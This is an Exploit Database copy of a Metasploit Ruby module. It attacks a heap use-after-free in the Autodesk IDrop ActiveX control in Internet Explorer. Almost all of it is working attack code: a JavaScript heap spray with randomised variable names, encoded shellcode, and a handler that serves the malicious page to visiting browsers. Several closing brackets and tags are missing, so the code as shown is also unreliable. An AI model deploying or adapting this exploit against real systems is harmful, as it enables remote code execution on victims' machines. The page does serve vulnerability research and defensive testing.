Autodesk IDrop – ActiveX Control Heap Memory Corruption (Metasploit)

Exploit Database
95 阅读

作者： Metasploit

日期： 2010-04-30
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16560/

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# $Id: autodesk_idrop.rb 9179 2010-04-30 08:40:19Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',

'Description'=> %q{

This module exploits a heap-based memory corruption vulnerability in

Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.

An attacker can execute arbitrary code by triggering a heap use after

free condition using the Src, Background, PackageXml properties.

'License'=> MSF_LICENSE,

'Author' =>

[

'Elazar Broad <elazarb[at]earthlink.net>', # Original exploit [see References]

'Trancer <mtrancer[at]gmail.com>'# Metasploit implementation

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'OSVDB', '53265' ],

[ 'BID', '34352' ],

[ 'URL', 'http://www.milw0rm.com/exploits/8560' ],

[ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]

'DisclosureDate' => 'Apr 2 2009',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Setup exploit buffers

nops = Rex::Text.to_unescape([target.ret].pack('V'))

blocksize = 0x40000

fillto= 550

offset = target['Offset']

# Randomize the javascript variable names

idrop = rand_text_alpha(rand(100) + 1)

j_function = rand_text_alpha(rand(100) + 1)

j_shellcode= rand_text_alpha(rand(100) + 1)

j_nops = rand_text_alpha(rand(100) + 1)

j_headersize = rand_text_alpha(rand(100) + 1)

j_slackspace = rand_text_alpha(rand(100) + 1)

j_fillblock= rand_text_alpha(rand(100) + 1)

j_block= rand_text_alpha(rand(100) + 1)

j_memory = rand_text_alpha(rand(100) + 1)

j_counter= rand_text_alpha(rand(30) + 2)

j_ret= rand_text_alpha(rand(100) + 1)

j_mem= rand_text_alpha(rand(100) + 1)

# Build out the message

content = %Q|

<html>

<head>

function #{j_function}() {

#{j_shellcode}=unescape('#{shellcode}');

#{j_nops}=unescape('#{nops}');

#{j_headersize}=20;

#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

#{j_memory}=new Array();

for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret} = '';

for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {

#{j_ret} += unescape('%u0a0a');

}

for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {

try {

var #{j_mem} = #{idrop}.Src;

#{idrop}.Src = 'http://' + #{j_ret};

#{idrop}.Src = #{j_mem};

#{idrop}.Src = 'http://' + #{j_ret};

} catch(e){}

}

</script>

</head>

</body>

</html>

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end